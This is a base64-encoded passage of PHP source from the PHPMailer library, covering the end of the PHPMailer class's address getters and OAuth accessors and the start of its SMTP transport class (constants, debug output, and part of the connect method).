ZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICoKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldENjQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmNjOwogICAgfQogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnYmNjJyBwcm9wZXJ0eS4KICAgICAqIEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICoKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdSZXBseVRvJyBwcm9wZXJ0eS4KICAgICAqIEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICoKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFJlcGx5VG9BZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+UmVwbHlUbzsKICAgIH0KICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICoKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEFsbFJlY2lwaWVudEFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hbGxfcmVjaXBpZW50czsKICAgIH0KICAgIC8qKgogICAgICogUGVyZm9ybSBhIGNhbGxiYWNrLgogICAgICoKICAgICAqIEBwYXJhbSBib29sICAgJGlzU2VudAogICAgICogQHBhcmFtIGFycmF5ICAkdG8KICAgICAqIEBwYXJhbSBhcnJheSAgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgICRiY2MKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZyb20KICAgICAqIEBwYXJhbSBhcnJheSAgJGV4dHJhCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBkb0NhbGxiYWNrKCRpc1NlbnQsICR0bywgJGNjLCAkYmNjLCAkc3ViamVjdCwgJGJvZHksICRmcm9tLCAkZXh0cmEpCiAgICB7CiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uKSBhbmQgaXNfY2FsbGFibGUoJHRoaXMtPmFjdGlvbl9mdW5jdGlvbikpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPmFjdGlvbl9mdW5jdGlvbiwgJGlzU2VudCwgJHRvLCAkY2MsICRiY2MsICRzdWJqZWN0LCAkYm9keSwgJGZyb20sICRleHRyYSk7CiAgICAgICAgfQogICAgfQogICAgLyoqCiAgICAgKiBHZXQgdGhlIE9BdXRoIGluc3RhbmNlLgogICAgICoKICAgICAqIEByZXR1cm4gT0F1dGgKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldE9BdXRoKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPm9hdXRoOwogICAgfQogICAgLyoqCiAgICAgKiBTZXQgYW4gT0F1dGggaW5zdGFuY2UuCiAgICAgKgogICAgICogQHBhcmFtIE9BdXRoICRvYXV0aAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0T0F1dGgoT0F1dGggJG9hdXRoKQogICAgewogICAgICAgICR0aGlzLT5vYXV0aCA9ICRvYXV0aDsKICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBSRkM4MjEgU01UUCBlbWFpbCB0cmFuc3BvcnQgY2xhc3MuCiAqIFBIUCBWZXJzaW9uIDUuNS4KICoKICogQHNlZSAgICAgICBodHRwczovL2dpdGh1Yi5jb20vUEhQTWFpbGVyL1BIUE1haWxlci8gVGhlIFBIUE1haWxlciBHaXRIdWIgcHJvamVjdAogKgogKiBAYXV0aG9yICAgIE1hcmN1cyBCb2ludG9uIChTeW5jaHJvL2Nvb2xicnUpIDxwaHBtYWlsZXJAc3luY2hyb21lZGlhLmNvLnVrPgogKiBAYXV0aG9yICAgIEppbSBKYWdpZWxza2kgKGppbWphZykgPGppbWphZ0BnbWFpbC5jb20+CiAqIEBhdXRob3IgICAgQW5keSBQcmV2b3N0IChjb2Rld29yeHRlY2gpIDxjb2Rld29yeHRlY2hAdXNlcnMuc291cmNlZm9yZ2UubmV0PgogKiBAYXV0aG9yICAgIEJyZW50IFIuIE1hdHplbGxlIChvcmlnaW5hbCBmb3VuZGVyKQogKiBAY29weXJpZ2h0IDIwMTIgLSAyMDE3IE1hcmN1cyBCb2ludG9uCiAqIEBjb3B5cmlnaHQgMjAxMCAtIDIwMTIgSmltIEphZ2llbHNraQogKiBAY29weXJpZ2h0IDIwMDQgLSAyMDA5IEFuZHkgUHJldm9zdAogKiBAbGljZW5zZSAgIGh0dHA6Ly93d3cuZ251Lm9yZy9jb3B5bGVmdC9sZXNzZXIuaHRtbCBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2UKICogQG5vdGUgICAgICBUaGlzIHByb2dyYW0gaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCAtIFdJVEhPVVQKICogQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YgTUVSQ0hBTlRBQklMSVRZIG9yCiAqIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLgogKi8KCi8qKgogKiBQSFBNYWlsZXIgUkZDODIxIFNNVFAgZW1haWwgdHJhbnNwb3J0IGNsYXNzLgogKiBJbXBsZW1lbnRzIFJGQyA4MjEgU01UUCBjb21tYW5kcyBhbmQgcHJvdmlkZXMgc29tZSB1dGlsaXR5IG1ldGhvZHMgZm9yIHNlbmRpbmcgbWFpbCB0byBhbiBTTVRQIHNlcnZlci4KICoKICogQGF1dGhvciAgQ2hyaXMgUnlhbgogKiBAYXV0aG9yICBNYXJjdXMgQm9pbnRvbiA8cGhwbWFpbGVyQHN5bmNocm9tZWRpYS5jby51az4KICovCmNsYXNzIFNNVFAKewogICAgLyoqCiAgICAgKiBUaGUgUEhQTWFpbGVyIFNNVFAgdmVyc2lvbiBudW1iZXIuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgY29uc3QgVkVSU0lPTiA9ICc2LjAuNyc7CiAgICAvKioKICAgICAqIFNNVFAgbGluZSBicmVhayBjb25zdGFudC4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBjb25zdCBMRSA9ICJcclxuIjsKICAgIC8qKgogICAgICogVGhlIFNNVFAgcG9ydCB0byB1c2UgaWYgb25lIGlzIG5vdCBzcGVjaWZpZWQuCiAgICAgKgogICAgICogQHZhciBpbnQKICAgICAqLwogICAgY29uc3QgREVGQVVMVF9QT1JUID0gMjU7CiAgICAvKioKICAgICAqIFRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQgYnkgUkZDIDI4MjIgc2VjdGlvbiAyLjEuMS4KICAgICAqCiAgICAgKiBAdmFyIGludAogICAgICovCiAgICBjb25zdCBNQVhfTElORV9MRU5HVEggPSA5OTg7CiAgICAvKioKICAgICAqIERlYnVnIGxldmVsIGZvciBubyBvdXRwdXQuCiAgICAgKi8KICAgIGNvbnN0IERFQlVHX09GRiA9IDA7CiAgICAvKioKICAgICAqIERlYnVnIGxldmVsIHRvIHNob3cgY2xpZW50IC0+IHNlcnZlciBtZXNzYWdlcy4KICAgICAqLwogICAgY29uc3QgREVCVUdfQ0xJRU5UID0gMTsKICAgIC8qKgogICAgICogRGVidWcgbGV2ZWwgdG8gc2hvdyBjbGllbnQgLT4gc2VydmVyIGFuZCBzZXJ2ZXIgLT4gY2xpZW50IG1lc3NhZ2VzLgogICAgICovCiAgICBjb25zdCBERUJVR19TRVJWRVIgPSAyOwogICAgLyoqCiAgICAgKiBEZWJ1ZyBsZXZlbCB0byBzaG93IGNvbm5lY3Rpb24gc3RhdHVzLCBjbGllbnQgLT4gc2VydmVyIGFuZCBzZXJ2ZXIgLT4gY2xpZW50IG1lc3NhZ2VzLgogICAgICovCiAgICBjb25zdCBERUJVR19DT05ORUNUSU9OID0gMzsKICAgIC8qKgogICAgICogRGVidWcgbGV2ZWwgdG8gc2hvdyBhbGwgbWVzc2FnZXMuCiAgICAgKi8KICAgIGNvbnN0IERFQlVHX0xPV0xFVkVMID0gNDsKICAgIC8qKgogICAgICogRGVidWcgb3V0cHV0IGxldmVsLgogICAgICogT3B0aW9uczoKICAgICAqICogc2VsZjo6REVCVUdfT0ZGIChgMGApIE5vIGRlYnVnIG91dHB1dCwgZGVmYXVsdAogICAgICogKiBzZWxmOjpERUJVR19DTElFTlQgKGAxYCkgQ2xpZW50IGNvbW1hbmRzCiAgICAgKiAqIHNlbGY6OkRFQlVHX1NFUlZFUiAoYDJgKSBDbGllbnQgY29tbWFuZHMgYW5kIHNlcnZlciByZXNwb25zZXMKICAgICAqICogc2VsZjo6REVCVUdfQ09OTkVDVElPTiAoYDNgKSBBcyBERUJVR19TRVJWRVIgcGx1cyBjb25uZWN0aW9uIHN0YXR1cwogICAgICogKiBzZWxmOjpERUJVR19MT1dMRVZFTCAoYDRgKSBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQsIGFsbCBtZXNzYWdlcy4KICAgICAqCiAgICAgKiBAdmFyIGludAogICAgICovCiAgICBwdWJsaWMgJGRvX2RlYnVnID0gc2VsZjo6REVCVUdfT0ZGOwogICAgLyoqCiAgICAgKiBIb3cgdG8gaGFuZGxlIGRlYnVnIG91dHB1dC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGBlY2hvYCBPdXRwdXQgcGxhaW4tdGV4dCBhcy1pcywgYXBwcm9wcmlhdGUgZm9yIENMSQogICAgICogKiBgaHRtbGAgT3V0cHV0IGVzY2FwZWQsIGxpbmUgYnJlYWtzIGNvbnZlcnRlZCB0byBgPGJyPmAsIGFwcHJvcHJpYXRlIGZvciBicm93c2VyIG91dHB1dAogICAgICogKiBgZXJyb3JfbG9nYCBPdXRwdXQgdG8gZXJyb3IgbG9nIGFzIGNvbmZpZ3VyZWQgaW4gcGhwLmluaQogICAgICogQWx0ZXJuYXRpdmVseSwgeW91IGNhbiBwcm92aWRlIGEgY2FsbGFibGUgZXhwZWN0aW5nIHR3byBwYXJhbXM6IGEgbWVzc2FnZSBzdHJpbmcgYW5kIHRoZSBkZWJ1ZyBsZXZlbDoKICAgICAqCiAgICAgKiBgYGBwaHAKICAgICAqICRzbXRwLT5EZWJ1Z291dHB1dCA9IGZ1bmN0aW9uKCRzdHIsICRsZXZlbCkge2VjaG8gImRlYnVnIGxldmVsICRsZXZlbDsgbWVzc2FnZTogJHN0ciI7fTsKICAgICAqIGBgYAogICAgICoKICAgICAqIEFsdGVybmF0aXZlbHksIHlvdSBjYW4gcGFzcyBpbiBhbiBpbnN0YW5jZSBvZiBhIFBTUi0zIGNvbXBhdGlibGUgbG9nZ2VyLCB0aG91Z2ggb25seSBgZGVidWdgCiAgICAgKiBsZXZlbCBvdXRwdXQgaXMgdXNlZDoKICAgICAqCiAgICAgKiBgYGBwaHAKICAgICAqICRtYWlsLT5EZWJ1Z291dHB1dCA9IG5ldyBteVBzcjNMb2dnZXI7CiAgICAgKiBgYGAKICAgICAqCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZXxcUHNyXExvZ1xMb2dnZXJJbnRlcmZhY2UKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgVkVSUC4KICAgICAqCiAgICAgKiBAc2VlIGh0dHA6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvVmFyaWFibGVfZW52ZWxvcGVfcmV0dXJuX3BhdGgKICAgICAqIEBzZWUgaHR0cDovL3d3dy5wb3N0Zml4Lm9yZy9WRVJQX1JFQURNRS5odG1sIEluZm8gb24gVkVSUAogICAgICoKICAgICAqIEB2YXIgYm9vbAogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKICAgIC8qKgogICAgICogVGhlIHRpbWVvdXQgdmFsdWUgZm9yIGNvbm5lY3Rpb24sIGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yLgogICAgICogVGhpcyBuZWVkcyB0byBiZSBxdWl0ZSBoaWdoIHRvIGZ1bmN0aW9uIGNvcnJlY3RseSB3aXRoIGhvc3RzIHVzaW5nIGdyZWV0ZGVsYXkgYXMgYW4gYW50aS1zcGFtIG1lYXN1cmUuCiAgICAgKgogICAgICogQHNlZSBodHRwOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmMyODIxI3NlY3Rpb24tNC41LjMuMgogICAgICoKICAgICAqIEB2YXIgaW50CiAgICAgKi8KICAgIHB1YmxpYyAkVGltZW91dCA9IDMwMDsKICAgIC8qKgogICAgICogSG93IGxvbmcgdG8gd2FpdCBmb3IgY29tbWFuZHMgdG8gY29tcGxldGUsIGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yLgogICAgICoKICAgICAqIEB2YXIgaW50CiAgICAgKi8KICAgIHB1YmxpYyAkVGltZWxpbWl0ID0gMzAwOwogICAgLyoqCiAgICAgKiBQYXR0ZXJucyB0byBleHRyYWN0IGFuIFNNVFAgdHJhbnNhY3Rpb24gaWQgZnJvbSByZXBseSB0byBhIERBVEEgY29tbWFuZC4KICAgICAqIFRoZSBmaXJzdCBjYXB0dXJlIGdyb3VwIGluIGVhY2ggcmVnZXggd2lsbCBiZSB1c2VkIGFzIHRoZSBJRC4KICAgICAqIE1TIEVTTVRQIHJldHVybnMgdGhlIG1lc3NhZ2UgSUQsIHdoaWNoIG1heSBub3QgYmUgY29ycmVjdCBmb3IgaW50ZXJuYWwgdHJhY2tpbmcuCiAgICAgKgogICAgICogQHZhciBzdHJpbmdbXQogICAgICovCiAgICBwcm90ZWN0ZWQgJHNtdHBfdHJhbnNhY3Rpb25faWRfcGF0dGVybnMgPSBbCiAgICAgICAgJ2V4aW0nID0+ICcvW1xkXXszfSBPSyBpZD0oLiopLycsCiAgICAgICAgJ3NlbmRtYWlsJyA9PiAnL1tcZF17M30gMi4wLjAgKC4qKSBNZXNzYWdlLycsCiAgICAgICAgJ3Bvc3RmaXgnID0+ICcvW1xkXXszfSAyLjAuMCBPazogcXVldWVkIGFzICguKikvJywKICAgICAgICAnTWljcm9zb2Z0X0VTTVRQJyA9PiAnL1swLTldezN9IDIuW1xkXS4wICguKilAKD86LiopIFF1ZXVlZCBtYWlsIGZvciBkZWxpdmVyeS8nLAogICAgICAgICdBbWF6b25fU0VTJyA9PiAnL1tcZF17M30gT2sgKC4qKS8nLAogICAgICAgICdTZW5kR3JpZCcgPT4gJy9bXGRdezN9IE9rOiBxdWV1ZWQgYXMgKC4qKS8nLAogICAgICAgICdDYW1wYWlnbk1vbml0b3InID0+ICcvW1xkXXszfSAyLjAuMCBPSzooW2EtekEtWlxkXXs0OH0pLycsCiAgICBdOwogICAgLyoqCiAgICAgKiBUaGUgbGFzdCB0cmFuc2FjdGlvbiBJRCBpc3N1ZWQgaW4gcmVzcG9uc2UgdG8gYSBEQVRBIGNvbW1hbmQsCiAgICAgKiBpZiBvbmUgd2FzIGRldGVjdGVkLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nfGJvb2x8bnVsbAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhc3Rfc210cF90cmFuc2FjdGlvbl9pZDsKICAgIC8qKgogICAgICogVGhlIHNvY2tldCBmb3IgdGhlIHNlcnZlciBjb25uZWN0aW9uLgogICAgICoKICAgICAqIEB2YXIgP3Jlc291cmNlCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cF9jb25uOwogICAgLyoqCiAgICAgKiBFcnJvciBpbmZvcm1hdGlvbiwgaWYgYW55LCBmb3IgdGhlIGxhc3QgU01UUCBjb21tYW5kLgogICAgICoKICAgICAqIEB2YXIgYXJyYXkKICAgICAqLwogICAgcHJvdGVjdGVkICRlcnJvciA9IFsKICAgICAgICAnZXJyb3InID0+ICcnLAogICAgICAgICdkZXRhaWwnID0+ICcnLAogICAgICAgICdzbXRwX2NvZGUnID0+ICcnLAogICAgICAgICdzbXRwX2NvZGVfZXgnID0+ICcnLAogICAgXTsKICAgIC8qKgogICAgICogVGhlIHJlcGx5IHRoZSBzZXJ2ZXIgc2VudCB0byB1cyBmb3IgSEVMTy4KICAgICAqIElmIG51bGwsIG5vIEhFTE8gc3RyaW5nIGhhcyB5ZXQgYmVlbiByZWNlaXZlZC4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZ3xudWxsCiAgICAgKi8KICAgIHByb3RlY3RlZCAkaGVsb19ycGx5ID0gbnVsbDsKICAgIC8qKgogICAgICogVGhlIHNldCBvZiBTTVRQIGV4dGVuc2lvbnMgc2VudCBpbiByZXBseSB0byBFSExPIGNvbW1hbmQuCiAgICAgKiBJbmRleGVzIG9mIHRoZSBhcnJheSBhcmUgZXh0ZW5zaW9uIG5hbWVzLgogICAgICogVmFsdWUgYXQgaW5kZXggJ0hFTE8nIG9yICdFSExPJyAoYWNjb3JkaW5nIHRvIGNvbW1hbmQgdGhhdCB3YXMgc2VudCkKICAgICAqIHJlcHJlc2VudHMgdGhlIHNlcnZlciBuYW1lLiBJbiBjYXNlIG9mIEhFTE8gaXQgaXMgdGhlIG9ubHkgZWxlbWVudCBvZiB0aGUgYXJyYXkuCiAgICAgKiBPdGhlciB2YWx1ZXMgY2FuIGJlIGJvb2xlYW4gVFJVRSBvciBhbiBhcnJheSBjb250YWluaW5nIGV4dGVuc2lvbiBvcHRpb25zLgogICAgICogSWYgbnVsbCwgbm8gSEVMTy9FSExPIHN0cmluZyBoYXMgeWV0IGJlZW4gcmVjZWl2ZWQuCiAgICAgKgogICAgICogQHZhciBhcnJheXxudWxsCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2VydmVyX2NhcHMgPSBudWxsOwogICAgLyoqCiAgICAgKiBUaGUgbW9zdCByZWNlbnQgcmVwbHkgcmVjZWl2ZWQgZnJvbSB0aGUgc2VydmVyLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbGFzdF9yZXBseSA9ICcnOwogICAgLyoqCiAgICAgKiBPdXRwdXQgZGVidWdnaW5nIGluZm8gdmlhIGEgdXNlci1zZWxlY3RlZCBtZXRob2QuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyICAgRGVidWcgc3RyaW5nIHRvIG91dHB1dAogICAgICogQHBhcmFtIGludCAgICAkbGV2ZWwgVGhlIGRlYnVnIGxldmVsIG9mIHRoaXMgbWVzc2FnZTsgc2VlIERFQlVHXyogY29uc3RhbnRzCiAgICAgKgogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgU01UUDo6JGRvX2RlYnVnCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlZGVidWcoJHN0ciwgJGxldmVsID0gMCkKICAgIHsKICAgICAgICBpZiAoJGxldmVsID4gJHRoaXMtPmRvX2RlYnVnKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CiAgICAgICAgLy9JcyB0aGlzIGEgUFNSLTMgbG9nZ2VyPwogICAgICAgIGlmICgkdGhpcy0+RGVidWdvdXRwdXQgaW5zdGFuY2VvZiBcUHNyXExvZ1xMb2dnZXJJbnRlcmZhY2UpIHsKICAgICAgICAgICAgJHRoaXMtPkRlYnVnb3V0cHV0LT5kZWJ1Zygkc3RyKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgWydlcnJvcl9sb2cnLCAnaHRtbCcsICdlY2hvJ10pIGFuZCBpc19jYWxsYWJsZSgkdGhpcy0+RGVidWdvdXRwdXQpKSB7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jKCR0aGlzLT5EZWJ1Z291dHB1dCwgJHN0ciwgJGxldmVsKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpLCAnICcsIGh0bWxlbnRpdGllcygKICAgICAgICAgICAgICAgICAgICBwcmVnX3JlcGxhY2UoJy9bXHJcbl0rLycsICcnLCAkc3RyKSwKICAgICAgICAgICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAgICAgICAgICdVVEYtOCcKICAgICAgICAgICAgICAgICksICI8YnI+XG4iOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2VjaG8nOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgLy9Ob3JtYWxpemUgbGluZSBicmVha3MKICAgICAgICAgICAgICAgICRzdHIgPSBwcmVnX3JlcGxhY2UoJy9cclxufFxyL21zJywgIlxuIiwgJHN0cik7CiAgICAgICAgICAgICAgICBlY2hvIGdtZGF0ZSgnWS1tLWQgSDppOnMnKSwKICAgICAgICAgICAgICAgICJcdCIsCiAgICAgICAgICAgICAgICAvL1RyaW0gdHJhaWxpbmcgc3BhY2UKICAgICAgICAgICAgICAgIHRyaW0oCiAgICAgICAgICAgICAgICAgICAgLy9JbmRlbnQgZm9yIHJlYWRhYmlsaXR5LCBleGNlcHQgZm9yIHRyYWlsaW5nIGJyZWFrCiAgICAgICAgICAgICAgICAgICAgc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgICAgICJcbiAgICAgICAgICAgICAgICAgICBcdCAgICAgICAgICAgICAgICAgICIsCiAgICAgICAgICAgICAgICAgICAgICAgIHRyaW0oJHN0cikKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAgIlxuIjsKICAgICAgICB9CiAgICB9CiAgICAvKioKICAgICAqIENvbm5lY3QgdG8gYW4gU01UUCBzZXJ2ZXIuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkaG9zdCAgICBTTVRQIHNlcnZlciBJUCBvciBob3N0IG5hbWUKICAgICAqIEBwYXJhbSBpbnQgICAgJHBvcnQgICAgVGhlIHBvcnQgbnVtYmVyIHRvIGNvbm5lY3QgdG8KICAgICAqIEBwYXJhbSBpbnQgICAgJHRpbWVvdXQgSG93IGxvbmcgdG8gd2FpdCBmb3IgdGhlIGNvbm5lY3Rpb24gdG8gb3BlbgogICAgICogQHBhcmFtIGFycmF5ICAkb3B0aW9ucyBBbiBhcnJheSBvZiBvcHRpb25zIGZvciBzdHJlYW1fY29udGV4dF9jcmVhdGUoKQogICAgICoKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHBvcnQgPSBudWxsLCAkdGltZW91dCA9IDMwLCAkb3B0aW9ucyA9IFtdKQogICAgewogICAgICAgIHN0YXRpYyAkc3RyZWFtb2s7CiAgICAgICAgLy9UaGlzIGlzIGVuYWJsZWQgYnkgZGVmYXVsdCBzaW5jZSA1LjAuMCBidXQgc29tZSBwcm92aWRlcnMgZGlzYWJsZSBpdAogICAgICAgIC8vQ2hlY2sgdGhpcyBvbmNlIGFuZCBjYWNoZSB0aGUgcmVzdWx0CiAgICAgICAgaWYgKG51bGwgPT09ICRzdHJlYW1vaykgewogICAgICAgICAgICAkc3RyZWFtb2sgPSBmdW5jdGlvbl9leGlzdHMoJ3N0cmVhbV9zb2NrZXRfY2xpZW50Jyk7CiAgICAgICAgfQogICAgICAgIC8vIENsZWFyIGVycm9ycyB0byBhdm9pZCBjb25mdXNpb24KICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJycpOwogICAgICAgIC8vIE1ha2Ugc3VyZSB3ZSBhcmUgX19ub3RfXyBjb25uZWN0ZWQKICAgICAgICBpZiAoJHRoaXMtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIC8vIEFscmVhZHkgY29ubmVjdGVkLCBnZW5lcmF0ZSBlcnJvcgogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJ0FscmVhZHkgY29ubmVjdGVkIHRvIGEgc2VydmVyJyk7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKGVtcHR5KCRwb3J0KSkgewogICAgICAgICAgICAkcG9ydCA9IHNlbGY6OkRFRkFVTFRfUE9SVDsKICAgICAgICB9CiAgICAgICAgLy8gQ29ubmVjdCB0byB0aGUgU01UUCBzZXJ2ZXIKICAgICAgICAkdGhpcy0+ZWRlYnVnKAogICAgICAgICAgICAiQ29ubmVjdGlvbjogb3BlbmluZyB0byAkaG9zdDokcG9ydCwgdGltZW91dD0kdGltZW91dCwgb3B0aW9ucz0iIC4KICAgICAgICAgICAgICAgIChjb3VudCgkb3B0aW9ucykgPiAwID8gdmFyX2V4cG9ydCgkb3B0aW9ucywgdHJ1ZSkgOiAnYXJyYXkoKScpLAogICAgICAgICAgICBzZWxmOjpERUJVR19DT05ORUNUSU9OCiAgICAgICAgKTsKICAgICAgICAkZXJybm8gPSAwOwogICAgICAgICRlcnJzdHIgPSAnJzsKICAgICAgICBpZiAoJHN0cmVhbW9rKSB7CiAgICAgICAgICAgICRzb2NrZXRfY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkb3B0aW9ucyk7CiAgICAgICAgICAgIHNldF9lcnJvcl9oYW5kbGVyKFskdGhpcywgJ2Vycm9ySGFuZGxlciddKTsKICAgICAgICAgICAgJHRoaXMtPnNtdHBfY29ubiA9IHN0cmVhbV9zb2NrZXRfY2xpZW50KAogICAgICAgICAgICAgICAgJGhvc3QgLiAnOicgLiAkcG9ydCwKICAgICAgICAgICAgICAgICRlcnJubywKICAgICAgICAgICAgICAgICRlcnJzdHIsCiAgICAgICAgICAgICAgICAkdGltZW91dCwKICAgICAgICAgICAgICAgIFNUUkVBTV9DTElFTlRfQ09OTkVDVCwKICAgICAgICAgICAgICAgICRzb2NrZXRfY29udGV4dAogICAgICAgICAgICApOwogICAgICAgICAgICByZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvL0ZhbGwgYmFjayB0byBmc29ja29wZW4gd2hpY2ggc2hvdWxkIHdvcmsgaW4gbW9yZSBwbGFjZXMsIGJ1dCBpcyBtaXNzaW5nIHNvbWUgZmVhdHVyZXMKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygKICAgICAgICAgICAgICAgICdDb25uZWN0aW9uOiBzdHJlYW1fc29ja2V0X2NsaWVudCBub3QgYXZhaWxhYmxlLCBmYWxsaW5nIGJhY2sgdG8gZnNvY2tvcGVuJywKICAgICAgICAgICAgICAgIHNlbGY6OkRFQlVHX0NPTk5FQ1RJT04KICAgICAgICAgICAgKTsKICAgICAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoWyR0aGlzLCAnZXJyb3JIYW5kbGVyJ10pOwogICAgICAgICAgICAkdGhpcy0+c210cF9jb25uID0gZnNvY2tvcGVuKAogICAgICAgICAgICAgICAgJGhvc3QsCiAgICAgICAgICAgICAgICAkcG9ydCwKICAgICAgICAgICAgICAgICRlcnJubywKICAgICAgICAgICAgICAgICRlcnJzdHIsCiAgI